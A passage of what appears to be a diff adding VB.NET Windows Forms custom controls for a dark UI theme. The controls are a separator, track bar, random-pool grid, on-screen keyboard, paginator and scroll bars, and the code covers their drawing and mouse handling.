_SubTitleFont, Brushes.Black, PT1.X + 1, PT1.Y + 1) + G.DrawString(_SubTitle, _SubTitleFont, Brushes.WhiteSmoke, PT1.X, PT1.Y) + + If _DrawSeperator Then + Dim Y As Integer = CInt(PT1.Y + SZ2.Height) + 8 + + G.DrawLine(P1, 4, Y, Width - 5, Y) + G.DrawLine(P2, 4, Y + 1, Width - 5, Y + 1) + End If + End Sub + +End Class + +Class NSSeperator + Inherits Control + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + Height = 10 + + P1 = New Pen(Color.FromArgb(24, 24, 24)) + P2 = New Pen(Color.FromArgb(55, 55, 55)) + End Sub + + Private P1, P2 As Pen + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + G = e.Graphics + G.Clear(BackColor) + + G.DrawLine(P1, 0, 5, Width, 5) + G.DrawLine(P2, 0, 6, Width, 6) + End Sub + +End Class + + _ +Class NSTrackBar + Inherits Control + + Event Scroll(ByVal sender As Object) + + Private _Minimum As Integer + Property Minimum() As Integer + Get + Return _Minimum + End Get + Set(ByVal value As Integer) + If value < 0 Then + Throw New Exception("Property value is not valid.") + End If + + _Minimum = value + If value > _Value Then _Value = value + If value > _Maximum Then _Maximum = value + Invalidate() + End Set + End Property + + Private _Maximum As Integer = 10 + Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value < 0 Then + Throw New Exception("Property value is not valid.") + End If + + _Maximum = value + If value < _Value Then _Value = value + If value < _Minimum Then _Minimum = value + Invalidate() + End Set + End Property + + Private _Value As Integer + Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + If value = _Value Then Return + + If value > _Maximum OrElse value < _Minimum Then + Throw New Exception("Property value is not valid.") + End If + + _Value = value + Invalidate() + + RaiseEvent Scroll(Me) + End Set + End Property + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + Height = 17 + + P1 = New Pen(Color.FromArgb(0, 153, 204), 2) + P2 = New Pen(Color.FromArgb(55, 55, 55)) + P3 = New Pen(Color.FromArgb(24, 24, 24)) + P4 = New Pen(Color.FromArgb(65, 65, 65)) + End Sub + + Private GP1, GP2, GP3, GP4 As GraphicsPath + + Private R1, R2, R3 As Rectangle + Private I1 As Integer + + Private P1, P2, P3, P4 As Pen + + Private GB1, GB2, GB3 As LinearGradientBrush + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + + GP1 = CreateRound(0, 5, Width - 1, 10, 5) + GP2 = CreateRound(1, 6, Width - 3, 8, 5) + + R1 = New Rectangle(0, 7, Width - 1, 5) + GB1 = New LinearGradientBrush(R1, Color.FromArgb(45, 45, 45), Color.FromArgb(50, 50, 50), 90.0F) + + I1 = CInt((_Value - _Minimum) / (_Maximum - _Minimum) * (Width - 11)) + R2 = New Rectangle(I1, 0, 10, 20) + + G.SetClip(GP2) + G.FillRectangle(GB1, R1) + + R3 = New Rectangle(1, 7, R2.X + R2.Width - 2, 8) + GB2 = New LinearGradientBrush(R3, Color.FromArgb(51, 181, 229), Color.FromArgb(0, 153, 204), 90.0F) + + G.SmoothingMode = SmoothingMode.None + G.FillRectangle(GB2, R3) + G.SmoothingMode = SmoothingMode.AntiAlias + + For I As Integer = 0 To R3.Width - 15 Step 5 + G.DrawLine(P1, I, 0, I + 15, Height) + Next + + G.ResetClip() + + G.DrawPath(P2, GP1) + G.DrawPath(P3, GP2) + + GP3 = CreateRound(R2, 5) + GP4 = CreateRound(R2.X + 1, R2.Y + 1, R2.Width - 2, R2.Height - 2, 5) + GB3 = New LinearGradientBrush(ClientRectangle, Color.FromArgb(60, 60, 60), Color.FromArgb(55, 55, 55), 90.0F) + + G.FillPath(GB3, GP3) + G.DrawPath(P3, GP3) + G.DrawPath(P4, GP4) + End Sub + + Private TrackDown As Boolean + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then + I1 = CInt((_Value - _Minimum) / (_Maximum - _Minimum) * (Width - 11)) + R2 = New Rectangle(I1, 0, 10, 20) + + TrackDown = R2.Contains(e.Location) + End If + + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If TrackDown AndAlso e.X > -1 AndAlso e.X < (Width + 1) Then + Value = _Minimum + CInt((_Maximum - _Minimum) * (e.X / Width)) + End If + + MyBase.OnMouseMove(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + TrackDown = False + MyBase.OnMouseUp(e) + End Sub + +End Class + + _ +Class NSRandomPool + Inherits Control + + Event ValueChanged(ByVal sender As Object) + + Private _Value As New StringBuilder + ReadOnly Property Value() As String + Get + Return _Value.ToString() + End Get + End Property + + Private _FullValue As String + ReadOnly Property FullValue() As String + Get + Return BitConverter.ToString(Table).Replace("-", "") + End Get + End Property + + Private RNG As New Random() + + Private ItemSize As Integer = 9 + Private DrawSize As Integer = 8 + + Private WA As Rectangle + + Private RowSize As Integer + Private ColumnSize As Integer + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + P1 = New Pen(Color.FromArgb(55, 55, 55)) + P2 = New Pen(Color.FromArgb(24, 24, 24)) + + B1 = New SolidBrush(Color.FromArgb(30, 30, 30)) + End Sub + + Protected Overrides Sub OnHandleCreated(e As EventArgs) + UpdateTable() + MyBase.OnHandleCreated(e) + End Sub + + Private Table As Byte() + Private Sub UpdateTable() + WA = New Rectangle(5, 5, Width - 10, Height - 10) + + RowSize = WA.Width \ ItemSize + ColumnSize = WA.Height \ ItemSize + + WA.Width = RowSize * ItemSize + WA.Height = ColumnSize * ItemSize + + WA.X = (Width \ 2) - (WA.Width \ 2) + WA.Y = (Height \ 2) - (WA.Height \ 2) + + Table = New Byte((RowSize * ColumnSize) - 1) {} + + For I As Integer = 0 To Table.Length - 1 + Table(I) = CByte(RNG.Next(100)) + Next + + Invalidate() + End Sub + + Protected Overrides Sub OnSizeChanged(e As EventArgs) + UpdateTable() + End Sub + + Private Index1 As Integer = -1 + Private Index2 As Integer + + Private InvertColors As Boolean + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + HandleDraw(e) + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + HandleDraw(e) + MyBase.OnMouseDown(e) + End Sub + + Private Sub HandleDraw(e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left OrElse e.Button = Windows.Forms.MouseButtons.Right Then + If Not WA.Contains(e.Location) Then Return + + InvertColors = (e.Button = Windows.Forms.MouseButtons.Right) + + Index1 = GetIndex(e.X, e.Y) + If Index1 = Index2 Then Return + + Dim L As Boolean = Not (Index1 Mod RowSize = 0) + Dim R As Boolean = Not (Index1 Mod RowSize = (RowSize - 1)) + + Randomize(Index1 - RowSize) + If L Then Randomize(Index1 - 1) + Randomize(Index1) + If R Then Randomize(Index1 + 1) + Randomize(Index1 + RowSize) + + _Value.Append(Table(Index1).ToString("X")) + If _Value.Length > 32 Then _Value.Remove(0, 2) + + RaiseEvent ValueChanged(Me) + + Index2 = Index1 + Invalidate() + End If + End Sub + + Private GP1, GP2 As GraphicsPath + + Private P1, P2 As Pen + Private B1, B2 As SolidBrush + + Private PB1 As PathGradientBrush + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + G = e.Graphics + + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + + GP1 = CreateRound(0, 0, Width - 1, Height - 1, 7) + GP2 = CreateRound(1, 1, Width - 3, Height - 3, 7) + + PB1 = New PathGradientBrush(GP1) + PB1.CenterColor = Color.FromArgb(50, 50, 50) + PB1.SurroundColors = {Color.FromArgb(45, 45, 45)} + PB1.FocusScales = New PointF(0.9F, 0.5F) + + G.FillPath(PB1, GP1) + + G.DrawPath(P1, GP1) + G.DrawPath(P2, GP2) + + G.SmoothingMode = SmoothingMode.None + + For I As Integer = 0 To Table.Length - 1 + Dim C As Integer = Math.Max(Table(I), 75) + + Dim X As Integer = ((I Mod RowSize) * ItemSize) + WA.X + Dim Y As Integer = ((I \ RowSize) * ItemSize) + WA.Y + + B2 = New SolidBrush(Color.FromArgb(C, C, C)) + + G.FillRectangle(B1, X + 1, Y + 1, DrawSize, DrawSize) + G.FillRectangle(B2, X, Y, DrawSize, DrawSize) + + B2.Dispose() + Next + + End Sub + + Private Function GetIndex(ByVal x As Integer, ByVal y As Integer) As Integer + Return (((y - WA.Y) \ ItemSize) * RowSize) + ((x - WA.X) \ ItemSize) + End Function + + Private Sub Randomize(ByVal index As Integer) + If index > -1 AndAlso index < Table.Length Then + If InvertColors Then + Table(index) = CByte(RNG.Next(100)) + Else + Table(index) = CByte(RNG.Next(100, 256)) + End If + End If + End Sub + +End Class + +Class NSKeyboard + Inherits Control + + Private TextBitmap As Bitmap + Private TextGraphics As Graphics + + Const LowerKeys As String = "1234567890-=qwertyuiop[]asdfghjkl\;'zxcvbnm,./`" + Const UpperKeys As String = "!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL|:""ZXCVBNM<>?~" + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + Font = New Font("Verdana", 8.25F) + + TextBitmap = New Bitmap(1, 1) + TextGraphics = Graphics.FromImage(TextBitmap) + + MinimumSize = New Size(386, 162) + MaximumSize = New Size(386, 162) + + Lower = LowerKeys.ToCharArray() + Upper = UpperKeys.ToCharArray() + + PrepareCache() + + P1 = New Pen(Color.FromArgb(45, 45, 45)) + P2 = New Pen(Color.FromArgb(65, 65, 65)) + P3 = New Pen(Color.FromArgb(24, 24, 24)) + + B1 = New SolidBrush(Color.FromArgb(100, 100, 100)) + End Sub + + Private _Target As Control + Public Property Target() As Control + Get + Return _Target + End Get + Set(ByVal value As Control) + _Target = value + End Set + End Property + + Private Shift As Boolean + + Private Pressed As Integer = -1 + Private Buttons As Rectangle() + + Private Lower As Char() + Private Upper As Char() + Private Other As String() = {"Shift", "Space", "Back"} + + Private UpperCache As PointF() + Private LowerCache As PointF() + + Private Sub PrepareCache() + Buttons = New Rectangle(50) {} + UpperCache = New PointF(Upper.Length - 1) {} + LowerCache = New PointF(Lower.Length - 1) {} + + Dim I As Integer + + Dim S As SizeF + Dim R As Rectangle + + For Y As Integer = 0 To 3 + For X As Integer = 0 To 11 + I = (Y * 12) + X + R = New Rectangle(X * 32, Y * 32, 32, 32) + + Buttons(I) = R + + If Not I = 47 AndAlso Not Char.IsLetter(Upper(I)) Then + S = TextGraphics.MeasureString(Upper(I), Font) + UpperCache(I) = New PointF(R.X + (R.Width \ 2 - S.Width / 2), R.Y + R.Height - S.Height - 2) + + S = TextGraphics.MeasureString(Lower(I), Font) + LowerCache(I) = New PointF(R.X + (R.Width \ 2 - S.Width / 2), R.Y + R.Height - S.Height - 2) + End If + Next + Next + + Buttons(48) = New Rectangle(0, 4 * 32, 2 * 32, 32) + Buttons(49) = New Rectangle(Buttons(48).Right, 4 * 32, 8 * 32, 32) + Buttons(50) = New Rectangle(Buttons(49).Right, 4 * 32, 2 * 32, 32) + End Sub + + Private GP1 As GraphicsPath + + Private SZ1 As SizeF + Private PT1 As PointF + + Private P1, P2, P3 As Pen + Private B1 As SolidBrush + + Private PB1 As PathGradientBrush + Private GB1 As LinearGradientBrush + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + + G.Clear(BackColor) + + Dim R As Rectangle + + Dim Offset As Integer + G.DrawRectangle(P1, 0, 0, (12 * 32) + 1, (5 * 32) + 1) + + For I As Integer = 0 To Buttons.Length - 1 + R = Buttons(I) + + Offset = 0 + If I = Pressed Then + Offset = 1 + + GP1 = New GraphicsPath() + GP1.AddRectangle(R) + + PB1 = New PathGradientBrush(GP1) + PB1.CenterColor = Color.FromArgb(60, 60, 60) + PB1.SurroundColors = {Color.FromArgb(55, 55, 55)} + PB1.FocusScales = New PointF(0.8F, 0.5F) + + G.FillPath(PB1, GP1) + Else + GB1 = New LinearGradientBrush(R, Color.FromArgb(60, 60, 60), Color.FromArgb(55, 55, 55), 90.0F) + G.FillRectangle(GB1, R) + End If + + Select Case I + Case 48, 49, 50 + SZ1 = G.MeasureString(Other(I - 48), Font) + G.DrawString(Other(I - 48), Font, Brushes.Black, R.X + (R.Width \ 2 - SZ1.Width / 2) + Offset + 1, R.Y + (R.Height \ 2 - SZ1.Height / 2) + Offset + 1) + G.DrawString(Other(I - 48), Font, Brushes.WhiteSmoke, R.X + (R.Width \ 2 - SZ1.Width / 2) + Offset, R.Y + (R.Height \ 2 - SZ1.Height / 2) + Offset) + Case 47 + DrawArrow(Color.Black, R.X + Offset + 1, R.Y + Offset + 1) + DrawArrow(Color.FromArgb(235, 235, 235), R.X + Offset, R.Y + Offset) + Case Else + If Shift Then + G.DrawString(Upper(I), Font, Brushes.Black, R.X + 3 + Offset + 1, R.Y + 2 + Offset + 1) + G.DrawString(Upper(I), Font, Brushes.WhiteSmoke, R.X + 3 + Offset, R.Y + 2 + Offset) + + If Not Char.IsLetter(Lower(I)) Then + PT1 = LowerCache(I) + G.DrawString(Lower(I), Font, B1, PT1.X + Offset, PT1.Y + Offset) + End If + Else + G.DrawString(Lower(I), Font, Brushes.Black, R.X + 3 + Offset + 1, R.Y + 2 + Offset + 1) + G.DrawString(Lower(I), Font, Brushes.WhiteSmoke, R.X + 3 + Offset, R.Y + 2 + Offset) + + If Not Char.IsLetter(Upper(I)) Then + PT1 = UpperCache(I) + G.DrawString(Upper(I), Font, B1, PT1.X + Offset, PT1.Y + Offset) + End If + End If + End Select + + G.DrawRectangle(P2, R.X + 1 + Offset, R.Y + 1 + Offset, R.Width - 2, R.Height - 2) + G.DrawRectangle(P3, R.X + Offset, R.Y + Offset, R.Width, R.Height) + + If I = Pressed Then + G.DrawLine(P1, R.X, R.Y, R.Right, R.Y) + G.DrawLine(P1, R.X, R.Y, R.X, R.Bottom) + End If + Next + End Sub + + Private Sub DrawArrow(color As Color, rx As Integer, ry As Integer) + Dim R As New Rectangle(rx + 8, ry + 8, 16, 16) + G.SmoothingMode = SmoothingMode.AntiAlias + + Dim P As New Pen(color, 1) + Dim C As New AdjustableArrowCap(3, 2) + P.CustomEndCap = C + + G.DrawArc(P, R, 0.0F, 290.0F) + + P.Dispose() + C.Dispose() + G.SmoothingMode = SmoothingMode.None + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + Dim Index As Integer = ((e.Y \ 32) * 12) + (e.X \ 32) + + If Index > 47 Then + For I As Integer = 48 To Buttons.Length - 1 + If Buttons(I).Contains(e.X, e.Y) Then + Pressed = I + Exit For + End If + Next + Else + Pressed = Index + End If + + HandleKey() + Invalidate() + End Sub + + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + Pressed = -1 + Invalidate() + End Sub + + Private Sub HandleKey() + If _Target Is Nothing Then Return + If Pressed = -1 Then Return + + Select Case Pressed + Case 47 + _Target.Text = String.Empty + Case 48 + Shift = Not Shift + Case 49 + _Target.Text &= " " + Case 50 + If Not _Target.Text.Length = 0 Then + _Target.Text = _Target.Text.Remove(_Target.Text.Length - 1) + End If + Case Else + If Shift Then + _Target.Text &= Upper(Pressed) + Else + _Target.Text &= Lower(Pressed) + End If + End Select + End Sub + +End Class + + _ +Class NSPaginator + Inherits Control + + Public Event SelectedIndexChanged(sender As Object, e As EventArgs) + + Private TextBitmap As Bitmap + Private TextGraphics As Graphics + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + Size = New Size(202, 26) + + TextBitmap = New Bitmap(1, 1) + TextGraphics = Graphics.FromImage(TextBitmap) + + InvalidateItems() + + B1 = New SolidBrush(Color.FromArgb(50, 50, 50)) + B2 = New SolidBrush(Color.FromArgb(55, 55, 55)) + + P1 = New Pen(Color.FromArgb(24, 24, 24)) + P2 = New Pen(Color.FromArgb(55, 55, 55)) + P3 = New Pen(Color.FromArgb(65, 65, 65)) + End Sub + + Private _SelectedIndex As Integer + Public Property SelectedIndex() As Integer + Get + Return _SelectedIndex + End Get + Set(ByVal value As Integer) + _SelectedIndex = Math.Max(Math.Min(value, MaximumIndex), 0) + Invalidate() + End Set + End Property + + Private _NumberOfPages As Integer + Public Property NumberOfPages() As Integer + Get + Return _NumberOfPages + End Get + Set(ByVal value As Integer) + _NumberOfPages = value + _SelectedIndex = Math.Max(Math.Min(_SelectedIndex, MaximumIndex), 0) + Invalidate() + End Set + End Property + + Public ReadOnly Property MaximumIndex As Integer + Get + Return NumberOfPages - 1 + End Get + End Property + + Private ItemWidth As Integer + + Public Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(value As Font) + MyBase.Font = value + + InvalidateItems() + Invalidate() + End Set + End Property + + Private Sub InvalidateItems() + Dim S As Size = TextGraphics.MeasureString("000 ..", Font).ToSize() + ItemWidth = S.Width + 10 + End Sub + + Private GP1, GP2 As GraphicsPath + + Private R1 As Rectangle + + Private SZ1 As Size + Private PT1 As Point + + Private P1, P2, P3 As Pen + Private B1, B2 As SolidBrush + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + G.TextRenderingHint = Drawing.Text.TextRenderingHint.ClearTypeGridFit + + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + + Dim LeftEllipse, RightEllipse As Boolean + + If _SelectedIndex < 4 Then + For I As Integer = 0 To Math.Min(MaximumIndex, 4) + RightEllipse = (I = 4) AndAlso (MaximumIndex > 4) + DrawBox(I * ItemWidth, I, False, RightEllipse) + Next + ElseIf _SelectedIndex > 3 AndAlso _SelectedIndex < (MaximumIndex - 3) Then + For I As Integer = 0 To 4 + LeftEllipse = (I = 0) + RightEllipse = (I = 4) + DrawBox(I * ItemWidth, _SelectedIndex + I - 2, LeftEllipse, RightEllipse) + Next + Else + For I As Integer = 0 To 4 + LeftEllipse = (I = 0) AndAlso (MaximumIndex > 4) + DrawBox(I * ItemWidth, MaximumIndex - (4 - I), LeftEllipse, False) + Next + End If + End Sub + + Private Sub DrawBox(x As Integer, index As Integer, leftEllipse As Boolean, rightEllipse As Boolean) + R1 = New Rectangle(x, 0, ItemWidth - 4, Height - 1) + + GP1 = CreateRound(R1, 7) + GP2 = CreateRound(R1.X + 1, R1.Y + 1, R1.Width - 2, R1.Height - 2, 7) + + Dim T As String = CStr(index + 1) + + If leftEllipse Then T = ".. " & T + If rightEllipse Then T = T & " .." + + SZ1 = G.MeasureString(T, Font).ToSize() + PT1 = New Point(R1.X + (R1.Width \ 2 - SZ1.Width \ 2), R1.Y + (R1.Height \ 2 - SZ1.Height \ 2)) + + If index = _SelectedIndex Then + G.FillPath(B1, GP1) + + Dim F As New Font(Font, FontStyle.Underline) + G.DrawString(T, F, Brushes.Black, PT1.X + 1, PT1.Y + 1) + G.DrawString(T, F, Brushes.WhiteSmoke, PT1) + F.Dispose() + + G.DrawPath(P1, GP2) + G.DrawPath(P2, GP1) + Else + G.FillPath(B2, GP1) + + G.DrawString(T, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1) + G.DrawString(T, Font, Brushes.WhiteSmoke, PT1) + + G.DrawPath(P3, GP2) + G.DrawPath(P1, GP1) + End If + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then + Dim NewIndex As Integer + Dim OldIndex As Integer = _SelectedIndex + + If _SelectedIndex < 4 Then + NewIndex = (e.X \ ItemWidth) + ElseIf _SelectedIndex > 3 AndAlso _SelectedIndex < (MaximumIndex - 3) Then + NewIndex = (e.X \ ItemWidth) + + Select Case NewIndex + Case 2 + NewIndex = OldIndex + Case Is < 2 + NewIndex = OldIndex - (2 - NewIndex) + Case Is > 2 + NewIndex = OldIndex + (NewIndex - 2) + End Select + Else + NewIndex = MaximumIndex - (4 - (e.X \ ItemWidth)) + End If + + If (NewIndex < _NumberOfPages) AndAlso (Not NewIndex = OldIndex) Then + SelectedIndex = NewIndex + RaiseEvent SelectedIndexChanged(Me, Nothing) + End If + End If + + MyBase.OnMouseDown(e) + End Sub + +End Class + + _ +Class NSVScrollBar + Inherits Control + + Event Scroll(ByVal sender As Object) + + Private _Minimum As Integer + Property Minimum() As Integer + Get + Return _Minimum + End Get + Set(ByVal value As Integer) + If value < 0 Then + Throw New Exception("Property value is not valid.") + End If + + _Minimum = value + If value > _Value Then _Value = value + If value > _Maximum Then _Maximum = value + + InvalidateLayout() + End Set + End Property + + Private _Maximum As Integer = 100 + Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value < 1 Then value = 1 + + _Maximum = value + If value < _Value Then _Value = value + If value < _Minimum Then _Minimum = value + + InvalidateLayout() + End Set + End Property + + Private _Value As Integer + Property Value() As Integer + Get + If Not ShowThumb Then Return _Minimum + Return _Value + End Get + Set(ByVal value As Integer) + If value = _Value Then Return + + If value > _Maximum OrElse value < _Minimum Then + Throw New Exception("Property value is not valid.") + End If + + _Value = value + InvalidatePosition() + + RaiseEvent Scroll(Me) + End Set + End Property + + Property _Percent As Double + Public ReadOnly Property Percent As Double + Get + If Not ShowThumb Then Return 0 + Return GetProgress() + End Get + End Property + + Private _SmallChange As Integer = 1 + Public Property SmallChange() As Integer + Get + Return _SmallChange + End Get + Set(ByVal value As Integer) + If value < 1 Then + Throw New Exception("Property value is not valid.") + End If + + _SmallChange = value + End Set + End Property + + Private _LargeChange As Integer = 10 + Public Property LargeChange() As Integer + Get + Return _LargeChange + End Get + Set(ByVal value As Integer) + If value < 1 Then + Throw New Exception("Property value is not valid.") + End If + + _LargeChange = value + End Set + End Property + + Private ButtonSize As Integer = 16 + Private ThumbSize As Integer = 24 ' 14 minimum + + Private TSA As Rectangle + Private BSA As Rectangle + Private Shaft As Rectangle + Private Thumb As Rectangle + + Private ShowThumb As Boolean + Private ThumbDown As Boolean + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + Width = 18 + + B1 = New SolidBrush(Color.FromArgb(55, 55, 55)) + B2 = New SolidBrush(Color.FromArgb(24, 24, 24)) + + P1 = New Pen(Color.FromArgb(24, 24, 24)) + P2 = New Pen(Color.FromArgb(65, 65, 65)) + P3 = New Pen(Color.FromArgb(55, 55, 55)) + P4 = New Pen(Color.FromArgb(40, 40, 40)) + End Sub + + Private GP1, GP2, GP3, GP4 As GraphicsPath + + Private P1, P2, P3, P4 As Pen + Private B1, B2 As SolidBrush + + Dim I1 As Integer + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + G.Clear(BackColor) + + GP1 = DrawArrow(4, 6, False) + GP2 = DrawArrow(5, 7, False) + + G.FillPath(B1, GP2) + G.FillPath(B2, GP1) + + GP3 = DrawArrow(4, Height - 11, True) + GP4 = DrawArrow(5, Height - 10, True) + + G.FillPath(B1, GP4) + G.FillPath(B2, GP3) + + If ShowThumb Then + G.FillRectangle(B1, Thumb) + G.DrawRectangle(P1, Thumb) + G.DrawRectangle(P2, Thumb.X + 1, Thumb.Y + 1, Thumb.Width - 2, Thumb.Height - 2) + + Dim Y As Integer + Dim LY As Integer = Thumb.Y + (Thumb.Height \ 2) - 3 + + For I As Integer = 0 To 2 + Y = LY + (I * 3) + + G.DrawLine(P1, Thumb.X + 5, Y, Thumb.Right - 5, Y) + G.DrawLine(P2, Thumb.X + 5, Y + 1, Thumb.Right - 5, Y + 1) + Next + End If + + G.DrawRectangle(P3, 0, 0, Width - 1, Height - 1) + G.DrawRectangle(P4, 1, 1, Width - 3, Height - 3) + End Sub + + Private Function DrawArrow(x As Integer, y As Integer, flip As Boolean) As GraphicsPath + Dim GP As New GraphicsPath() + + Dim W As Integer = 9 + Dim H As Integer = 5 + + If flip Then + GP.AddLine(x + 1, y, x + W + 1, y) + GP.AddLine(x + W, y, x + H, y + H - 1) + Else + GP.AddLine(x, y + H, x + W, y + H) + GP.AddLine(x + W, y + H, x + H, y) + End If + + GP.CloseFigure() + Return GP + End Function + + Protected Overrides Sub OnSizeChanged(e As EventArgs) + InvalidateLayout() + End Sub + + Private Sub InvalidateLayout() + TSA = New Rectangle(0, 0, Width, ButtonSize) + BSA = New Rectangle(0, Height - ButtonSize, Width, ButtonSize) + Shaft = New Rectangle(0, TSA.Bottom + 1, Width, Height - (ButtonSize * 2) - 1) + + ShowThumb = ((_Maximum - _Minimum) > Shaft.Height) + + If ShowThumb Then + 'ThumbSize = Math.Max(0, 14) 'TODO: Implement this. + Thumb = New Rectangle(1, 0, Width - 3, ThumbSize) + End If + + RaiseEvent Scroll(Me) + InvalidatePosition() + End Sub + + Private Sub InvalidatePosition() + Thumb.Y = CInt(GetProgress() * (Shaft.Height - ThumbSize)) + TSA.Height + Invalidate() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left AndAlso ShowThumb Then + If TSA.Contains(e.Location) Then + I1 = _Value - _SmallChange + ElseIf BSA.Contains(e.Location) Then + I1 = _Value + _SmallChange + Else + If Thumb.Contains(e.Location) Then + ThumbDown = True + MyBase.OnMouseDown(e) + Return + Else + If e.Y < Thumb.Y Then + I1 = _Value - _LargeChange + Else + I1 = _Value + _LargeChange + End If + End If + End If + + Value = Math.Min(Math.Max(I1, _Minimum), _Maximum) + InvalidatePosition() + End If + + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If ThumbDown AndAlso ShowThumb Then + Dim ThumbPosition As Integer = e.Y - TSA.Height - (ThumbSize \ 2) + Dim ThumbBounds As Integer = Shaft.Height - ThumbSize + + I1 = CInt((ThumbPosition / ThumbBounds) * (_Maximum - _Minimum)) + _Minimum + + Value = Math.Min(Math.Max(I1, _Minimum), _Maximum) + InvalidatePosition() + End If + + MyBase.OnMouseMove(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + ThumbDown = False + MyBase.OnMouseUp(e) + End Sub + + Private Function GetProgress() As Double + Return (_Value - _Minimum) / (_Maximum - _Minimum) + End Function + +End Class + + _ +Class NSHScrollBar + Inherits Control + + Event Scroll(ByVal sender As Object) + + Private _Minimum As Integer + Property Minimum() As Integer + Get + Return _Minimum + End Get + Set(ByVal value As Integer) + If value < 0 Then + Throw New Exception("Property value is not valid.") + End If + + _Minimum = value + If value > _Value Then _Value = value + If value > _Maximum Then _Maximum = value + + InvalidateLayout() + End Set + End Property + + Private _Maximum As Integer = 100 + Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value < 0 Then + Throw New Exception("Property value is not valid.") + End If + + _Maximum = value + If value < _Value Then _Value = value + If value < _Minimum Then _Minimum = value + + InvalidateLayout() + End Set + End Property + + Private _Value As Integer + Property Value() As Integer + Get + If Not ShowThumb Then Return _Minimum + Return _Value + End Get + Set(ByVal value As Integer) + If value = _Value Then Return + + If value > _Maximum OrElse value < _Minimum Then + Throw New Exception("Property value is not valid.") + End If + + _Value = value + InvalidatePosition() + + RaiseEvent Scroll(Me) + End Set + End Property + + Private _SmallChange As Integer = 1 + Public Property SmallChange() As Integer + Get + Return _SmallChange + End Get + Set(ByVal value As Integer) + If value < 1 Then + Throw New Exception("Property value is not valid.") + End If + + _SmallChange = value + End Set + End Property + + Private _LargeChange As Integer = 10 + Public Property LargeChange() As Integer + Get + Return _LargeChange + End Get + Set(ByVal value As Integer) + If value < 1 Then + Throw New Exception("Property value is not valid.") + End If + + _LargeChange = value + End Set + End Property + + Private ButtonSize As Integer = 16 + Private ThumbSize As Integer = 24 ' 14 minimum + + Private LSA As Rectangle + Private RSA As Rectangle + Private Shaft As Rectangle + Private Thumb As Rectangle + + Private ShowThumb As Boolean + Private ThumbDown As Boolean + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + Height = 18 + + B1 = New SolidBrush(Color.FromArgb(55, 55, 55)) + B2 = New SolidBrush(Color.FromArgb(24, 24, 24)) + + P1 = New Pen(Color.FromArgb(24, 24, 24)) + P2 = New Pen(Color.FromArgb(65, 65, 65)) + P3 = New Pen(Color.FromArgb(55, 55, 55)) + P4 = New Pen(Color.FromArgb(40, 40, 40)) + End Sub + + Private GP1, GP2, GP3, GP4 As GraphicsPath + + Private P1, P2, P3, P4 As Pen + Private B1, B2 As SolidBrush + + Dim I1 As Integer + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + G.Clear(BackColor) + + GP1 = DrawArrow(6, 4, False) + GP2 = DrawArrow(7, 5, False) + + G.FillPath(B1, GP2) + G.FillPath(B2, GP1) + + GP3 = DrawArrow(Width - 11, 4, True) + GP4 = DrawArrow(Width - 10, 5, True) + + G.FillPath(B1, GP4) + G.FillPath(B2, GP3) + + If ShowThumb Then + G.FillRectangle(B1, Thumb) + G.DrawRectangle(P1, Thumb) + G.DrawRectangle(P2, Thumb.X + 1, Thumb.Y + 1, Thumb.Width - 2, Thumb.Height - 2) + + Dim X As Integer + Dim LX As Integer = Thumb.X + (Thumb.Width \ 2) - 3 + + For I As Integer = 0 To 2 + X = LX + (I * 3) + + G.DrawLine(P1, X, Thumb.Y + 5, X, Thumb.Bottom - 5) + G.DrawLine(P2, X + 1, Thumb.Y + 5, X + 1, Thumb.Bottom - 5) + Next + End If + + G.DrawRectangle(P3, 0, 0, Width - 1, Height - 1) + 